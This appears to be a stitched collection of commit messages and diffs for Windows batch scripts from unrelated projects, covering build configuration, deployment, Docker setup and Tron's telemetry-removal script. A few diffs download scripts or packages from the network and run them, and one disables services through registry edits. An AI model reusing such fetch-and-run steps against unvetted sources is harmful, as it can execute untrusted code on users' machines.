+REM We shouldn't enable some of these if the corresponding modules are not enabled
 echo.
 echo Start of compile tests
 REM compile tests go here.
@@ -575,7 +586,7 @@
 ) else if %FIRST% == serviceframework (
     perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include\QtServiceFramework %SOURCE_PATH%\src\serviceframework
 ) else if %FIRST% == telephony (
-    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include\QtmTelephony %SOURCE_PATH%\src\telephony
+    perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include\QtTelephony %SOURCE_PATH%\src\telephony
 ) else if %FIRST% == versit (
     REM versit implies contacts and organizer
     perl -S %SOURCE_PATH%\bin\syncheaders %BUILD_PATH%\include\QtVersit %SOURCE_PATH%\src\versit


Use mingw32-make when building with MinGW.

--- configure.bat
+++ configure.bat
@@ -282,11 +282,13 @@
             set MAKE=nmake
         )
     ) else if %MAKETYPE% == win32-mingw (
-        make -v >> %PROJECT_LOG% 2>&1
+        mingw32-make -v >> %PROJECT_LOG% 2>&1
         if not errorlevel 1 (
             echo ... mingw32-make found.
-            set MAKE=make
+            set MAKE=mingw32-make
         )
+    ) else (
+        echo ... Unknown target environment %MAKETYPE%.
     )
     cd %CURRENT_PWD%
 endlocal&set %1=%MAKE%&set %2=%MAKETYPE%&goto :EOF


Once again with logging.

Once again with logging.

--- byte-buddy-gradle-plugin/gradlew.bat
+++ byte-buddy-gradle-plugin/gradlew.bat
@@ -14,7 +14,7 @@
 @rem limitations under the License.
 @rem

-@if "%DEBUG%" == "" @echo off
+@echo on
 @rem ##########################################################################
 @rem
 @rem  Gradle startup script for Windows


v1.2.0-TRON

--- resources/stage_4_repair/disable_windows_telemetry/purge_windows_10_telemetry.bat
+++ resources/stage_4_repair/disable_windows_telemetry/purge_windows_10_telemetry.bat
@@ -6,7 +6,9 @@
 ::                  - win10-unfu**k: https://github.com/dfkt/win10-unfuck
 ::                  - WindowsLies:   https://github.com/WindowsLies/BlockWindows
 ::                  - ... and many other places around the web
-:: Version:       1.1.9-TRON * Update Spybot Anti-Beacon to v1.6.0.42
+:: Version:       1.2.0-TRON + Add disabling of registry keys AllowCortanaAboveLock and AllowSearchToUseLocation. Thanks to /u/tylerwatt12
+::                             thread: https://www.reddit.com/r/sysadmin/comments/777vt2/the_windows_fall_creators_update_has_been/
+::                1.1.9-TRON * Update Spybot Anti-Beacon to v1.6.0.42
 ::                1.1.8-TRON + Add registry keys to disable Cortana and Web Search from Start Menu globally. Thanks to /u/TootZoot and /u/Falkerz
 ::                1.1.7-TRON + Add job "OandOShutUp10." Tron now automatically applies all immunizations from OandOShutUp10
 ::                1.1.6-TRON ! Fix broken path on setacl.exe call. Thanks to /u/Seascan
@@ -33,8 +35,8 @@
 :: PREP AND CHECKS ::
 :::::::::::::::::::::
 @echo off
-set SCRIPT_VERSION=1.1.9-TRON
-set SCRIPT_UPDATED=2017-05-14
+set SCRIPT_VERSION=1.2.0-TRON
+set SCRIPT_UPDATED=2017-10-24

 :: Populate dependent variables if we didn't inherit them from Tron (standalone execution)
 if /i "%LOGPATH%"=="" (
@@ -286,9 +288,9 @@
 call functions\log.bat "     Removing bad services, please wait..."

 if "%VERBOSE%"=="yes" (
-	:: Diagnostic Tracking
+	:: Diagnostic Tracking; changed delete to disable on 2017-08-28 per https://www.reddit.com/r/TronScript/comments/6vjeap/connected_user_experience_and_telemetry_service/dm2dv3d/?context=3
 	sc stop Diagtrack
-	sc delete Diagtrack
+	sc disable Diagtrack

 	:: Remote Registry (disable only)
 	sc config remoteregistry start= disabled
@@ -316,7 +318,7 @@
 ) else (
 	:: Diagnostic Tracking
 	sc stop Diagtrack >> "%LOGPATH%\%LOGFILE%" 2>&1
-	sc delete Diagtrack >> "%LOGPATH%\%LOGFILE%" 2>&1
+	sc disable Diagtrack >> "%LOGPATH%\%LOGFILE%" 2>&1

 	:: Remote Registry (disable only)
 	sc config remoteregistry start= disabled >> "%LOGPATH%\%LOGFILE%" 2>&1
@@ -382,6 +384,8 @@

 	REM Disable Cortana globally
 	%windir%\system32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Windows Search" /v "AllowCortana" /t REG_DWORD /d "0" /f
+	%windir%\system32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Windows Search" /v "AllowCortanaAboveLock" /t REG_DWORD /d "0" /f
+	%windir%\system32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Windows Search" /v "AllowSearchToUseLocation" /t REG_DWORD /d "0" /f

 	REM Disable "Search online and include web results"
 	%windir%\system32\reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Search" /v "BingSearchEnabled" /t REG_DWORD /d "0" /f
@@ -417,6 +421,8 @@

 	REM Disable Cortana globally
 	%windir%\system32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Windows Search" /v "AllowCortana" /t REG_DWORD /d "0" /f >> "%LOGPATH%\%LOGFILE%" 2>&1
+	%windir%\system32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Windows Search" /v "AllowCortanaAboveLock" /t REG_DWORD /d "0" /f >> "%LOGPATH%\%LOGFILE%" 2>&1
+	%windir%\system32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Windows Search" /v "AllowSearchToUseLocation" /t REG_DWORD /d "0" /f >> "%LOGPATH%\%LOGFILE%" 2>&1

 	REM Disable "Search online and include web results"
 	%windir%\system32\reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Search" /v "BingSearchEnabled" /t REG_DWORD /d "0" /f >> "%LOGPATH%\%LOGFILE%" 2>&1


make.bat: remove double quotes

make.bat: remove double quotes

Fixes issue 2974.

R=golang-dev, r, rsc
CC=golang-dev
http://codereview.appspot.com/5653052

--- src/make.bat
+++ src/make.bat
@@ -16,9 +16,9 @@
 :: backslashes.  Then we wrap that in quotes to create
 :: a C string.
 cd ..
-set GOROOT="%CD%"
+set GOROOT=%CD%
 cd src
-if "x%GOROOT_FINAL%"=="x" set GOROOT_FINAL="%GOROOT%"
+if "x%GOROOT_FINAL%"=="x" set GOROOT_FINAL=%GOROOT%
 set DEFGOROOT=-DGOROOT_FINAL="\"%GOROOT_FINAL:\=\\%\""

 echo # Building C bootstrap tool.


Adding Build Open SSL 64 Bits, after building Paho 32.


Jenkins builds only: fixing link creation.

git-svn-id: 06aac1f7aa6783202dd435920b98a457d633d0b0@211 a9e16012-fd73-49ee-95cb-036de7809213

--- jenkins/jenkinsbild.bat
+++ jenkins/jenkinsbild.bat
@@ -20,11 +20,14 @@
 for /f "tokens=1 delims=\" %%A in ("%JOB_NAME%") do set JOB=%%A

 @ECHO on
-if not exist %JOB% goto createlink else linkexistscontinue
+for %%A in ("%CD%") do set drive=%%~dA
+set JOB_LINK=%drive%\%JOB_LINK%
+echo JOB_LINK=%JOB_LINK%
+if exist %JOB_LINK% goto createlink else linkexistscontinue
 :createlink
-mklink /D %JOB% %WORKSPACE%
+mklink /D %JOB_LINK% %WORKSPACE%
 :linkexistscontinue
-cd %JOB%
+cd %JOB_LINK%
 @ECHO off
 ECHO jenkinsbild.bat: Working in %CD%.
 ECHO jenkinsbild.bat: Working in %CD%. >>jenkinsbild.log


Run functional tests on windows

Run functional tests on windows

--- jenkins/verify-chef.bat
+++ jenkins/verify-chef.bat
@@ -52,5 +52,5 @@
   call bundle exec rspec -r rspec_junit_formatter -f RspecJunitFormatter -o %WORKSPACE%\test.xml -f documentation spec/unit spec/functional
 ) ELSE (
   REM ; Running unit tests
-  call bundle exec rspec -r rspec_junit_formatter -f RspecJunitFormatter -o %WORKSPACE%\test.xml -f documentation spec/unit
+  call bundle exec rspec -r rspec_junit_formatter -f RspecJunitFormatter -o %WORKSPACE%\test.xml -f documentation spec/unit spec/functional
 )


Local download/shared folder

Local download/shared folder

--- scripts/install-docker.bat
+++ scripts/install-docker.bat
@@ -1,18 +1,30 @@
 rem https://msdn.microsoft.com/virtualization/windowscontainers/quick_start/inplace_setup
 powershell.exe -Command "wget -uri http://aka.ms/setupcontainers -OutFile C:\ContainerSetup.ps1"

-rem set WIMPATH=http://192.168.254.1:8000/ContainerOSImage
+set WIMPATH=http://192.168.254.1:8000/ContainerOSImage.wim
+set LOCALWIMPATH=C:\Users\vagrant\ContainerOSImage.wim

 if "%WIMPATH%x"=="x" (
   powershell.exe -File "C:\ContainerSetup.ps1"
 ) else (
-  powershell.exe -Command "wget -uri %WIMPATH% -OutFile C:\ContainerOSImage"
-  if exist C:\ContainerOSImage (
-    powershell.exe -File "C:\ContainerSetup.ps1" -WimPath C:\ContainerOSImage
+  powershell.exe -Command "wget -uri %WIMPATH% -OutFile %LOCALWIMPATH%"
+)
+
+:waiting
+if not exist %LOCALWIMPATH% (
+  echo Waiting for WimPath %LOCALWIMPATH%
+  ping 127.0.0.1 -n 5 > nul
+  goto waiting
+  )
+
+if exist %LOCALWIMPATH% (
+    powershell.exe -File "C:\ContainerSetup.ps1" -WimPath %LOCALWIMPATH%
+    del %LOCALWIMPATH%
   ) else (
     powershell.exe -File "C:\ContainerSetup.ps1"
   )
-  del C:\ContainerOSImage
 )

+echo Done with %0
+
 rem https://msdn.microsoft.com/virtualization/windowscontainers/quick_start/manage_docker


Fix docker image

Fix docker image

--- golang/push.bat
+++ golang/push.bat
@@ -1,4 +1,4 @@
-docker tag dockertls stefanscherer/golang-windows:1.8beta2
-docker tag dockertls stefanscherer/golang-windows
+docker tag golang:1.8beta2 stefanscherer/golang-windows:1.8beta2
+docker tag golang:1.8beta2 stefanscherer/golang-windows
 docker push stefanscherer/golang-windows:1.8beta2
 docker push stefanscherer/golang-windows


Update extensions/ringopengl/opengl11/buildvc.bat

--- extensions/ringopengl/opengl11/buildvc.bat
+++ extensions/ringopengl/opengl11/buildvc.bat
@@ -1,5 +1,5 @@
 cls
 call ../../../src/locatevc.bat
-cl /c /DEBUG ring_opengl11.c -I "..\..\..\libdepwin\glew\include" -I "..\..\..\libdepwin\freeglut\include" -I"..\..\..\include"
-link /DEBUG ring_opengl11.obj  ..\..\..\lib\ring.lib ..\..\..\libdepwin\glew\lib\release\win32\glew32.lib ..\..\..\libdepwin\freeglut\lib\freeglut.lib /DLL /OUT:..\..\..\bin\ring_opengl11.dll /SUBSYSTEM:CONSOLE,"5.01"
+cl /c /DEBUG ring_opengl11.c -I "..\..\..\extensions\libdepwin\glew\include" -I "..\..\..\extensions\libdepwin\freeglut\include" -I"..\..\..\include"
+link /DEBUG ring_opengl11.obj  ..\..\..\lib\ring.lib ..\..\..\extensions\libdepwin\glew\lib\release\win32\glew32.lib ..\..\..\extensions\libdepwin\freeglut\lib\freeglut.lib /DLL /OUT:..\..\..\bin\ring_opengl11.dll /SUBSYSTEM:CONSOLE,"5.01"
 del ring_opengl11.obj


Added a script to extract strings from executables

error: pathspec 'useful_scripts/exec_strings.bat' did not match any file(s) known to git

--- useful_scripts/exec_strings.bat
+++ useful_scripts/exec_strings.bat
@@ -0,0 +1,17 @@
+@echo off
+
+::
+:: The Batchography book by Elias Bachaalany -- http://amzn.to/1X3tQ4K
+::
+
+::
+:: Use SysInternal's 'strings.exe' tool to extract strings from executable files
+::
+
+if exist strs.txt del strs.txt
+
+for %%a in (*.dll *.exe *.ocx *.sys) do (
+	echo --- begin strings: %%~fa --- >>strs.txt
+	"%tools%sysinternals\strings.exe" "%%~fa" >>strs.txt
+	echo --- end strings: %%~fa --- >>strs.txt
+)


sc.exe is optional  ...

sc.exe is optional  ...

--- setup.bat
+++ setup.bat
@@ -72,11 +72,11 @@
 :: check if rescource kit is installed
 WHERE sc >nul 2>&1
 IF %ERRORLEVEL% NEQ 0 (
-	ECHO Windows Resource Toolkit is not installed! Please download it from
-	ECHO %WRT_download% and install it!
+	ECHO Windows Resource Toolkit is not installed you may not able to run Webmin as a Service!
+	ECHO Please download from %WRT_download% and install it!
 	start "" %WRT_download%
 	ECHO .
-	SET INSTALL=false
+	:: SET INSTALL=false (optional now)
 )

 :: check if needed dir exist


tidy up text prompts

tidy up text prompts

--- bootstrap.cmd
+++ bootstrap.cmd
@@ -13,7 +13,7 @@

 echo dev-shell bootstrap v0.1 (c) seapagan 2015
 echo.
-echo Downloading the 'TinyPerl' distribution ...
+echo Stage 1 : Download and unpack the 'TinyPerl' distribution ...
 %~dp0mingw32\wget -q --show-progress -c --trust-server-names -c --directory-prefix=%~dp0support\packages http://sourceforge.net/projects/tinyperl/files/tinyperl/2.0/tinyperl-2.0-580-win32.zip/download
 if NOT EXIST %~dp0support\packages\tinyperl-2.0-580-win32.zip (
 	echo Failure to download tinyperl distribution, please check your internet connection and report as a bug otherwise!
@@ -22,7 +22,6 @@
 	exit /b 255
 )
 echo.
-echo Unpacking TinyPerl ...
 rem erase TinyPerl directory first if exists ...
 if EXIST "%~dp0support\tinyperl\" (
 RD /S /Q %~dp0support\tinyperl


2.7.0-7

2.7.0-7

Fix error of percent calculation changes for large files.

--- iCatalyst.bat
+++ iCatalyst.bat
@@ -380,18 +380,21 @@
 set "measure="
 call:prepsize origsize measure
 call:prepsize2 optsize measure
-set /a "change=%~4"
 set "origsize=          %origsize% %measure%"
 set "optsize=          %optsize% %measure%"
+set "change=%~4"
+set "origsize2=%~2"
 call:prepsize change measure
+call:prepsize2 origsize2 measure
+call:perccalc %origsize2:.=% %change:.=% percent
 set "change=           %change% %measure%"
-set "percent=          %~5%%"
+set "percent=          %percent%%%"
 echo. !fn:~,%TFN%!^|%origsize:~-10%^|%optsize:~-11%^|%change:~-11%^|%percent:~-10%
 endlocal
 exit /b

 ::%1 - variable name for number (in/out)
-::%2 - cariable name for measure (out)
+::%2 - variable name for measure (out)
 :prepsize
 setlocal
 set "var=!%~1!"
@@ -403,7 +406,7 @@
 if %var% geq %KB% (set "meas=KB" & goto:KBprepsize)
 goto:finprepsize
 ::%1 - variable name for number (in/out)
-::%2 - cariable name for measure (in/out)
+::%2 - variable name for measure (in/out)
 :prepsize2
 if not defined %~2 exit /b
 setlocal
@@ -856,11 +859,11 @@
 setlocal
 ::echo.%~0[in]: %1	%~2	%~z1
 set /a "change=%~z1-%~2"
-call:perccalc %~2 %change% perc
+::call:perccalc %~2 %change% perc
 set /a "change=%~z1-%~2"
->>"%logfile2%" echo.%~1;%~2;%~z1;%change%;%perc%;ok
+>>"%logfile2%" echo.%~1;%~2;%~z1;%change%;0.00;ok
 if %thread% equ 1 (
-	call:printfileinfo "%~1" %2 %~z1 %change% %perc%
+	call:printfileinfo "%~1" %2 %~z1 %change% 0.00
 )
 endlocal
 exit /b
@@ -1004,6 +1007,7 @@
 :stepcalc
 set /a "TotalSize%~1+=%~2"
 set /a "ImageSize%~1+=%~3"
+::echo.!TotalSize%~1!	!ImageSize%~1!
 if !ImageSize%~1! lss %BYTECONV% if !TotalSize%~1! lss %BYTECONV% exit /b
 if !stepB%~1! gtr 1 (
 	call:division2 TotalSize%~1 !stepB%~1! !step10%~1!
@@ -1013,7 +1017,7 @@
 set /a "SImageSize%~1+=!ImageSize%~1!"
 set "TotalSize%~1=0"
 set "ImageSize%~1=0"
-::echo.!STotalSize%~1!	!SImageSize%~1!	!step%~1!	!step10%~1!	!stepB%~1!
+::echo.%~0: !STotalSize%~1!	!SImageSize%~1!	!step%~1!	!step10%~1!	!stepB%~1!
 if !SImageSize%~1! lss %BYTECONV% if !STotalSize%~1! lss %BYTECONV% exit /b
 set /a "step%~1=(!step%~1!+1)%%3"
 if !step%~1! equ 0 (
@@ -1026,7 +1030,7 @@
 	set /a "STotalSize%~1/=10"
 	set /a "SImageSize%~1/=10"
 )
-::echo.!STotalSize%~1!	!SImageSize%~1!	!step%~1!	!step10%~1!	!stepB%~1!
+::echo.%~0: !STotalSize%~1!	!SImageSize%~1!	!step%~1!	!step10%~1!	!stepB%~1!
 exit /b

 ::%1 - JPG|PNG|GIF


added VERSION

added VERSION

--- mkrelease.bat
+++ mkrelease.bat
@@ -1,9 +1,11 @@
 @echo off

-tar --exclude=neko/lexer.ml --exclude=.cvsignore --exclude=neko/*.cm* --exclude=neko/*.o* --exclude=*.tgz --exclude=CVS --exclude=libs/mtypes --exclude=bin/* --exclude=*.sln --exclude=*.vcproj --exclude=*.suo --exclude=*.ncb --exclude=debug --exclude=release --exclude=libs/include -zcf neko-1.0.tgz libs neko bin vm LICENSE Makefile
-mkdir neko-1.0
-tar -C neko-1.0 -zxf neko-1.0.tgz
-tar -zcf neko-1.0.tgz neko-1.0
-rm -rf neko-1.0
+set VERSION=neko-1.0.5
+
+tar --exclude=neko/lexer.ml --exclude=.cvsignore --exclude=neko/*.cm* --exclude=neko/*.o* --exclude=*.tgz --exclude=CVS --exclude=libs/mtypes --exclude=bin/* --exclude=*.sln --exclude=*.vcproj --exclude=*.suo --exclude=*.ncb --exclude=debug --exclude=release --exclude=libs/include -zcf %VERSION%.tgz libs neko bin vm LICENSE Makefile
+mkdir %VERSION%
+tar -C %VERSION% -zxf %VERSION%.tgz
+tar -zcf %VERSION%.tgz %VERSION%
+rm -rf %VERSION%

 pause


Experimenting......

Experimenting......

--- docs/make.bat
+++ docs/make.bat
@@ -64,21 +64,13 @@
 )

 if "%1" == "gh-pages" (
-	echo.0
 	call git checkout gh-pages
-	echo.3
 	call git checkout master %GH_PAGES_SOURCES%
-	echo.4
 	call git reset HEAD
-	echo.5
 	call make html
-	echo.6
 	move build/html/* ./
-	echo.7
-	rmdir /s /f %GH_PAGES_SOURCES% build
-	echo.8
+	rmdir /s %GH_PAGES_SOURCES% build
 	call git add -A
-	echo.9
 	call git commit -m "Generated gh-pages for `git log master -1 --pretty=short --abbrev-commit`" && git push origin gh-pages ; git checkout master
 	echo.Build finished. The GitHub Pages Documentation site is updated.
 	goto end


create bat to execute on win

create bat to execute on win

error: pathspec 'asofac.bat' did not match any file(s) known to git

--- asofac.bat
+++ asofac.bat
@@ -0,0 +1,4 @@
+@echo off
+CD "C:\Users\Naty\Documents\Paliativos\asofac\"
+start node .
+start chrome http://localhost:3000/


Let's clean up some stuff

Let's clean up some stuff

--- deploy.cmd
+++ deploy.cmd
@@ -57,7 +57,6 @@
 :: 1. KuduSync
 IF /I "%IN_PLACE_DEPLOYMENT%" NEQ "1" (

-    cd %~dp0%.
     hexo generate
   call :ExecuteCmd "%KUDU_SYNC_CMD%" -v 50 -f "%DEPLOYMENT_SOURCE%" -t "%DEPLOYMENT_TARGET%" -n "%NEXT_MANIFEST_PATH%" -p "%PREVIOUS_MANIFEST_PATH%" -i ".git;.hg;.deployment;deploy.cmd"
   IF !ERRORLEVEL! NEQ 0 goto error


reverting old rake

reverting old rake


Update deployment script

Update deployment script

--- deploy.cmd
+++ deploy.cmd
@@ -149,7 +149,10 @@

 :: 7. Install Node modules
 IF EXIST "%DEPLOYMENT_TARGET%\eventwall\package.json" (
-    call npm install --prefix "%DEPLOYMENT_TARGET%\eventwall"
+    pushd "%DEPLOYMENT_TARGET%\eventwall"
+    call :ExecuteCmd npm install --production
+    IF !ERRORLEVEL! NEQ 0 goto error
+    popd
 )

 popd


small fix on deploy script

small fix on deploy script

--- deploy.cmd
+++ deploy.cmd
@@ -1,4 +1,4 @@
-@ECHO ON
+@ECHO OFF

 :: setup my variables
 set OLDDIR=%CD%
@@ -19,10 +19,10 @@

 :: check if there is new commit to be built
 for /f %%i in ('d:\cygwin64\bin\bash.exe -c "/home/kshahabi/dropbox_uploader.sh list | grep %hash% | wc -l"') do set iscommit=%%i
-::if %iscommit%==1 (
-::  SET "msg=No new code is commited to dev branch"
-::  goto :exit
-::)
+if %iscommit%==1 (
+  SET "msg=No new code is commited to dev branch"
+  goto :exit
+)

 :: build clean
 set NOREG=1
@@ -36,7 +36,7 @@
 "c:\Program Files\7-Zip\7z.exe" a ArcCASPER-nigthly-%hash%.zip EvcSolver32.dll EvcSolver64.dll glut32.dll glut64.dll Manual.pdf readme.txt install.cmd uninstall.cmd
 if exist ArcCASPER-nigthly-%hash%.zip (
   echo Uploading to dropbox for public access
-  d:\cygwin64\bin\bash.exe -c '/home/kshahabi/dropbox_uploader.sh upload `cygpath -u %CD%\ArcCASPER-nigthly-%hash%.zip` ArcCASPER-nigthly-%hash%.zip'
+  d:\cygwin64\bin\bash.exe -c '/home/kshahabi/dropbox_uploader.sh upload `cygpath -u "%CD%\ArcCASPER-nigthly-%hash%.zip"` ArcCASPER-nigthly-%hash%.zip'
 ) else (
   SET "msg=Some of the files are not present"
   goto :exit


Added gulp-util install for azure

Added gulp-util install for azure

--- deploy.cmd
+++ deploy.cmd
@@ -67,6 +67,7 @@

 :: Restore NPM packages
 echo Installing npm packages: Starting %TIME%
+call npm install gulp-util
 call npm install --production
 echo Installing npm packages: Finished %TIME%
 IF !ERRORLEVEL! NEQ 0 goto error


updated start.bat

updated start.bat

--- start.bat
+++ start.bat
@@ -1,2 +1,3 @@
-start "Transaction Organizer Server" python manage.py runserver
-explorer "http://localhost:5555
+cd app/
+start "Transaction Organizer Server" python server.py
+explorer "http://localhost:5555/transactions